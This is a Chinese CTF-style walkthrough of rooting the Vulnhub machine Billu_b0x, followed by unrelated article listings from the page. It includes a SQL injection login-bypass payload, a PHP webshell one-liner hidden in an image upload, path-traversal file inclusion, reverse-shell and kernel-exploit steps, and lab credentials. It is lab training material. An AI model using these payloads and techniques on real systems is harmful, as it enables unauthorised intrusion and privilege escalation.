打靶记录11——Billu_b0x
靶机:
https://download.vulnhub.com/billu/Billu_b0x.zip
难度:
- 中(两种攻击路线)
目标:
- 取得
root
权限
涉及的攻击方法:
- 主机发现
- 端口扫描
- Web信息收集
- SQL注入(Sqlmap跑不出来)
- 文件包含漏洞
- 文件上传漏洞
- 源码审计
- 内核漏洞提权
注意:
选择包含所有网卡的MAC地址
,就能正常获取IP地址了
但是我用VirtualBox还是获取不到IP,我直接用VMware了,kali和靶机都设置成NAT模式即可
主机发现
arp-scan -l
端口扫描和服务发现
nmap -p- 192.168.174.135
nmap -p22,80 -sV -sC 192.168.174.135
SQL注入
打开浏览器,根据提示Show me your SQLI skills
,那么该页面应该是存在SQL注入
这种漏洞类型的
随便输入提交之后抓包,发到BurpSuite
的Intruder
模块
Attack Type
选择Cluster bomb
集束炸弹
用户名那里使用/usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt
这个kali里下载的SQL测试的字典
密码那里使用burp
自带的列表
发现到这些个payload
的时候就成功登录了,提示You are allowed
那我们直接用这个登录,账号密码使用or%200%3d0%20%23%22 / =%5c
成功登录
文件上传漏洞
发现有上传功能,尝试上传一个有一句话木马的shell.php
,但是提示only png,jpg and gif file are allowed
只能上传图片
Burp
抓包,修改文件名后缀,Content-Type
,还有添加GIF89a;
文件头之后,成功上传了一个包含了一句话Webshell:<?php system($_GET["cmd"]);?>
的图片文件
在Show Users
里查看,发现多了一个用户,然后复制图片链接去访问,发现一个新路径
http://192.168.174.135/uploaded_images/shell.png
访问发现没啥用处
访问http://192.168.174.135/uploaded_images/
也是
在URL后输入?cmd=id
测试一下服务器是否解析了图片里面的代码,也是失败
dirsearch -u http://192.168.174.135/
扫描目录发现一个add.php
看起来和前面的Add Users
那里是一样的,那么服务器可能是通过加载a.php
的方式在主页面实现这个功能的
文件包含漏洞
点击Add Users
,然后点击Continue
,然后BurpSuite
抓包看看
发现是通过load
参数来调用系统文件的
测试load=/etc/passwd
发现不能成功,那用目录穿越的方法,改成load=../../../../../../../etc/passwd
就能成功读取到文件,说明确实是存在文件包含的
那用刚刚上传了一句话木马的图片试试,发现不行,那么服务器可能是不接受这种形式的方法
反弹shell
那么我们上传一个反弹shell
的php
的代码试试,也就是再上传一张伪造的图片,它的扩展名仍然是png
,但是内容是反弹shell
的php
的代码。
使用kali里面自带的/usr/share/webshells/php/php-reverse-shell.ph
这个php
代码的反弹shell
脚本
上传时还是需要添加上GIF89a;
文件头,然后IP
和监听端口设置成kali
的
然后让Kali
开启nc
的监听
然后再通过文件包含漏洞去访问刚刚上传的图片,触发反弹shell
成功反弹shell之后,按照惯例升级一下shell
python -c "import pty; pty.spawn('/bin/bash')"
提权
uname -a
发现是3.13
的内核版本,是有内核漏洞的利用代码的
searchsploit 3.13.0
搜索,发现一个C语言
的代码利用脚本,之前的打靶中有使用过的,就不过多的赘述了,参考:打靶记录1——靶机medium_socnet-CSDN博客
先把代码复制到当前目录,然后开启http
服务
然后让靶机下载这个exp.c
,用gcc
把它编译成一个二进制文件,给它执行权限,然后执行就获得root
权限了
这是一种思路。
思路二
前面信息收集的时候发现了一个test
路径
访问之后发现明显的提示'file' parameter is empty. Please provide file path in 'file' parameter
,但是我们输入参数并赋值之后却没有内容显示
那既然Get
方式不成功,还有POST
方式
用POST
方式就成功读取到了/etc/passwd
文件
任意文件下载漏洞
file=add.php
直接获得了源码,说明这不是一个文件包含漏洞,而是任意文件下载漏洞,只会显示代码,不会解析代码。
那我们查看一下首页index.php
,前面SQL注入
漏洞的原因可能在代码中会有
<?php// 开始会话,确保可以使用 $_SESSION 超全局变量session_start();// 包含数据库连接文件和 HTML 头部文件
include('c.php');
include('head.php');// 检查用户是否已登录,如果没有,设置会话变量 'logged' 为一个空字符串
if(@$_SESSION['logged'] != true) {$_SESSION['logged'] = '';
}// 如果用户已登录并且 'admin' 会话变量不为空
if($_SESSION['logged'] == true && $_SESSION['admin'] != '') {// 显示已登录的消息echo "you are logged in :)";// 重定向到 'panel.php'header('Location: panel.php', true, 302);
} else {// 如果用户没有登录,显示登录表单echo '<div align=center style="margin:30px 0px 0px 0px;"><font size=8 face="comic sans ms">--==[[ billu b0x ]]==--</font> <br><br>Show me your SQLI skills <br><form method=post>Username :- <input type=text name=un>   Password:- <input type=password name=ps> <br><br><input type=submit name=login value="let\'s login">';
}// 检查是否点击了登录按钮
if(isset($_POST['login'])) {// 将'\'替换为''$uname = str_replace('\'', '', urldecode($_POST['un']));$pass = str_replace('\'', '', urldecode($_POST['ps']));// 创建 SQL 查询来检查用户名和密码是否匹配$run = 'select * from auth where pass=\'' . $pass . '\' and uname=\'' . $uname . '\'';// 执行 SQL 查询$result = mysqli_query($conn, $run);// 如果查询结果有行,则用户凭据正确if (mysqli_num_rows($result) > 0) {$row = mysqli_fetch_assoc($result);echo "You are allowed<br>";// 设置会话变量以表示用户已登录$_SESSION['logged'] = true;$_SESSION['admin'] = $row['username'];// 重定向到 'panel.php'header('Location: panel.php', true, 302);} else {// 如果凭据不匹配,显示警告信息echo "<script>alert('Try again');</script>";}
}// 显示页脚
echo "<font size=5 face=\"comic sans ms\" style=\"left: 0;bottom: 0; position: absolute;margin: 0px 0px 5px;\">B0X Powered By <font color=#ff9933>Pirates</font> ";
?>
主要漏洞在这段代码 $run = 'select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\''
,服务端没有进行严格的筛选和限制
\
右斜线是转义符,相当于代码里的内容就是一个'
单引号- 我们注入的账号密码
or 0=0 #"和 /
实现了万能密码的效果 - 最终的SQL语句是这样的
$run = 'select * from auth where pass='' and uname=' or 0=0 #
,0=0永远为真
搞懂了SQL注入漏洞存在的原因之后,继续进行信息收集
在c.php
里面发现了数据库的账号密码billu``b0x_billu
前面扫描目录的时候还发现了/phpmy/
这个路径,可能是phpmyadmin
这个Web界面的管理程序
发现确实是phpmyadmin
,使用刚刚的账号密码billu``b0x_billu
成功登录进去了
在auth
表里面发现正常的账号密码biLLu
hEx_it
,可以直接登录首页
继续进行目录探测(每当我们有新的目录和路径发现的时候,从渗透、实践的角度来讲,都建议对新发现的子路径、子目录再去进行进一步的爬取,每一个子目录里面都有可能存在更多、更有价值的信息)
dirsearch -u http://192.168.174.135/phpmy/
发现了配置文件的路径/phpmy/config.inc.php
在配置文件中发现了新的账号密码root``roottoor
前面信息收集,端口扫描的时候是发现它开启了22
端口的,我们尝试用这个账号密码登录一下。
发现我们直接登录进来了,称为了root
用户!
总结:
- 打完写个Note,天天打不总结都是空。
- 虽然今天这台靶机并不存在什么高难度的、新型的漏洞类型,但是如果我们能将这种传统的漏洞类型相互结合,综合发挥它们的威力和实力的话,最后发现它能达到的攻击的效果,仍然是非常巧妙,威胁程度也是非常高的。
相关文章:

打靶记录11——Billu_b0x
靶机: https://download.vulnhub.com/billu/Billu_b0x.zip难度: 中(两种攻击路线) 目标: 取得root权限 涉及的攻击方法: 主机发现端口扫描Web信息收集SQL注入(Sqlmap跑不出来)…...

一、在cubemx上配置sd和fatfs示例演示
一、sd和fatfs的配置流程界面 1、选择sd4bits 根据自己的sd卡的硬件插槽进行选择。 2、fatfs配置由于使用的是sd卡所以直接选择sd选项 3、程序中对sd卡的初始化需要进行改动,直接使用默认的参数sd卡是挂载不上的。 4、在sd卡挂载好后,就可以使用文件系统…...
C++ 语言特性02 - 命名空间
一:概述 现代C中的命名空间是什么? C中的命名空间允许用户在命名空间范围内对类、方法、变量和函数等实体进行分组,而不是在全局范围内使用。这可以防止大型项目中的类、方法、函数和变量之间发生命名冲突。命名空间将开发人员编写的代码组织…...
drools规则引擎 规则配置文件drl语法使用案例
前提:环境搭建,参考博文springboot整合drools规则引擎 示例入门-CSDN博客案例1,商城系统消费赠送积分 100元以下, 不加分 100元-500元 加100分 500元-1000元 加500分 1000元 以上 加1000分订单pojo编写 package cn.beijing.model;import lom…...
C++编程:高性能通信组件Capnproto与Protobuf的对比分析
文章目录 0. 概要1. 测试环境2. 测试方法3. 测试结果及分析3.1 延迟测试3.2 吞吐量测试3.3 稳定性测试3.4 一对二测试记录3.5 二对一测试记录3.6 Inter-process 单个点开销分析 4. CapnProto 与 Protobuf 的对比测试总结 0. 概要 本文主要探讨了两种高性能通信组件:…...
【Python读书数据,并计算数据的相关系数、方差,均方根误差】
为了处理Python中的读书数据(假设这里指的是一系列关于书籍阅读量或评分的数据),并计算这些数据的相关系数、方差以及均方根误差(RMSE),我们首先需要明确数据的结构。这里,我将假设我们有一组关…...

垃圾收集器G1ZGC详解
G1收集器(-XX:UseG1GC) G1 (Garbage-First)是一款面向服务器的垃圾收集器,主要针对配备多颗处理器及大容量内存的机器. 以极高概率满足GC停顿时间要求的同时,还具备高吞吐量性能特征. G1将Java堆划分为多个大小相等的独立区域(Region),JVM目…...

AI芯片:高性能卷积计算中的数据复用
随着深度学习的飞速发展,对处理器的性能要求也变得越来越高,随之涌现出了很多针对神经网络加速设计的AI芯片。卷积计算是神经网络中最重要的一类计算,本文分析了高性能卷积计算中的数据复用,这是AI芯片设计中需要优化的重点之一&a…...

gitlab修改默认访问端口
GitLab 自带了一个 Nginx 服务器实例,用于处理 HTTP 和 HTTPS 请求。这个内置的 Nginx 服务器被配置为与 GitLab 应用程序实例一起工作,并且它负责处理所有前端的网络通信。 通过yum或者apt安装Gitlab时,nginx通常是被自带安装并配置好的。 …...
python——异常
Python 中的异常及继承关系 在 Python 中,异常用于表示程序在运行过程中遇到的错误,所有异常类最终都继承自 BaseException。通过异常处理,我们可以捕获和处理这些错误,避免程序崩溃。 Python 异常继承关系图 BaseException-- …...
【人工智能】利用TensorFlow.js在浏览器中实现一个基本的情感分析系统
使用TensorFlow.js在浏览器中进行情感分析是一个非常实用的应用场景。TensorFlow.js 是一个用于在JavaScript环境中训练和部署机器学习模型的库,使得开发者能够在客户端直接运行复杂的机器学习任务。对于情感分析,我们可以使用预先训练好的模型来识别文本…...
Python——扩展数据类型
Python 的扩展数据类型是对内置数据类型的增强,旨在解决特定需求,提供更高级的功能。我们来看一些常见的扩展数据类型及其原理、用途,并通过示例逐步讲解。 1. collections.namedtuple namedtuple 是增强的元组,允许用名称访问元…...
JavaScript 详解——Vue基础
第一章 JavaScript简介 为什么学习javascript ? JavaScript 是全球最流行的编程语言。 JavaScript 是属于 Web 的编程语言。 JavaScript 是 web 开发者必学的三种语言之一: HTML 定义网页的内容 CSS 规定网页的布局 JavaScript 对网页行为进行编程 …...

机械行业数字化生产供应链产品解决方案(十二)
我们为机械行业提供的数字化生产供应链解决方案通过集成物联网、人工智能和大数据技术,打造了一套智能化的生产和供应链管理系统,实现了从设计、生产到物流的全程数字化、智能化。该系统通过实时数据采集与分析,优化生产计划和资源配置&#…...
Git——命令集合
Git命令集合 1. 基本操作 1.1 创建版本库 初始化本地仓库:git init添加文件到仓库:git add | git add file file2… | git add.提交文件到本地仓库:git commit -m “message” 1.2 版本回退 查看状态: git status查看全部修改…...

python 数据可视化折线图练习(下:代码演示)
根据上篇对三国疫情情况数据的罗列,构建折线图完成数据展示。(示例如下) 接下来是具体代码演示 import json from pyecharts.charts import Line from pyecharts.options import TitleOpts , LegendOpts , ToolboxOpts ,VisualMapOpts , T…...
深入探索 Go 1.18 的 debug/buildinfo:构建信息的获取与应用
标题:深入探索 Go 1.18 的 debug/buildinfo:构建信息的获取与应用 引言 Go 语言自 1.18 版本起,引入了对构建信息的标准化处理,这一特性极大地简化了获取程序构建信息的过程。debug/buildinfo 包提供了访问 Go 二进制文件中嵌入…...

Nios II的BSP Editor
1.菜单打开BSP Editor (1) (2) (3) 项目文件夹 -> software文件夹 -> ... _bsp文件夹 -> settings.bsp文件 2.文件打开BSP Editor 选中项目文件,右键,Nios II -> …...

Android-自适用高度的ViewPager
需求 在项目中,我们常常遇到需要动态调整 ViewPager 的高度,以适应其内容大小的需求。默认情况下,ViewPager 的高度是固定的,无法根据每个页面的内容高度进行调整。这会导致在内容高度不一致时,出现不必要的空白区域或…...
代码随想录day38|| 322零钱兑换 279完全平方数 139单词拆分
322零钱兑换 力扣题目链接 题目描述: 给你一个整数数组 coins ,表示不同面额的硬币;以及一个整数 amount ,表示总金额。 计算并返回可以凑成总金额所需的 最少的硬币个数 。如果没有任何一种硬币组合能组成总金额,…...
FastAPI 教程:从入门到实践
FastAPI 是一个现代、快速(高性能)的 Web 框架,用于构建 API,支持 Python 3.6。它基于标准 Python 类型提示,易于学习且功能强大。以下是一个完整的 FastAPI 入门教程,涵盖从环境搭建到创建并运行一个简单的…...
鸿蒙中用HarmonyOS SDK应用服务 HarmonyOS5开发一个医院挂号小程序
一、开发准备 环境搭建: 安装DevEco Studio 3.0或更高版本配置HarmonyOS SDK申请开发者账号 项目创建: File > New > Create Project > Application (选择"Empty Ability") 二、核心功能实现 1. 医院科室展示 /…...

ETLCloud可能遇到的问题有哪些?常见坑位解析
数据集成平台ETLCloud,主要用于支持数据的抽取(Extract)、转换(Transform)和加载(Load)过程。提供了一个简洁直观的界面,以便用户可以在不同的数据源之间轻松地进行数据迁移和转换。…...

10-Oracle 23 ai Vector Search 概述和参数
一、Oracle AI Vector Search 概述 企业和个人都在尝试各种AI,使用客户端或是内部自己搭建集成大模型的终端,加速与大型语言模型(LLM)的结合,同时使用检索增强生成(Retrieval Augmented Generation &#…...

【C++进阶篇】智能指针
C内存管理终极指南:智能指针从入门到源码剖析 一. 智能指针1.1 auto_ptr1.2 unique_ptr1.3 shared_ptr1.4 make_shared 二. 原理三. shared_ptr循环引用问题三. 线程安全问题四. 内存泄漏4.1 什么是内存泄漏4.2 危害4.3 避免内存泄漏 五. 最后 一. 智能指针 智能指…...

代码规范和架构【立芯理论一】(2025.06.08)
1、代码规范的目标 代码简洁精炼、美观,可持续性好高效率高复用,可移植性好高内聚,低耦合没有冗余规范性,代码有规可循,可以看出自己当时的思考过程特殊排版,特殊语法,特殊指令,必须…...

R 语言科研绘图第 55 期 --- 网络图-聚类
在发表科研论文的过程中,科研绘图是必不可少的,一张好看的图形会是文章很大的加分项。 为了便于使用,本系列文章介绍的所有绘图都已收录到了 sciRplot 项目中,获取方式: R 语言科研绘图模板 --- sciRplothttps://mp.…...

wpf在image控件上快速显示内存图像
wpf在image控件上快速显示内存图像https://www.cnblogs.com/haodafeng/p/10431387.html 如果你在寻找能够快速在image控件刷新大图像(比如分辨率3000*3000的图像)的办法,尤其是想把内存中的裸数据(只有图像的数据,不包…...
用递归算法解锁「子集」问题 —— LeetCode 78题解析
文章目录 一、题目介绍二、递归思路详解:从决策树开始理解三、解法一:二叉决策树 DFS四、解法二:组合式回溯写法(推荐)五、解法对比 递归算法是编程中一种非常强大且常见的思想,它能够优雅地解决很多复杂的…...

EasyRTC音视频实时通话功能在WebRTC与智能硬件整合中的应用与优势
一、WebRTC与智能硬件整合趋势 随着物联网和实时通信需求的爆发式增长,WebRTC作为开源实时通信技术,为浏览器与移动应用提供免插件的音视频通信能力,在智能硬件领域的融合应用已成必然趋势。智能硬件不再局限于单一功能,对实时…...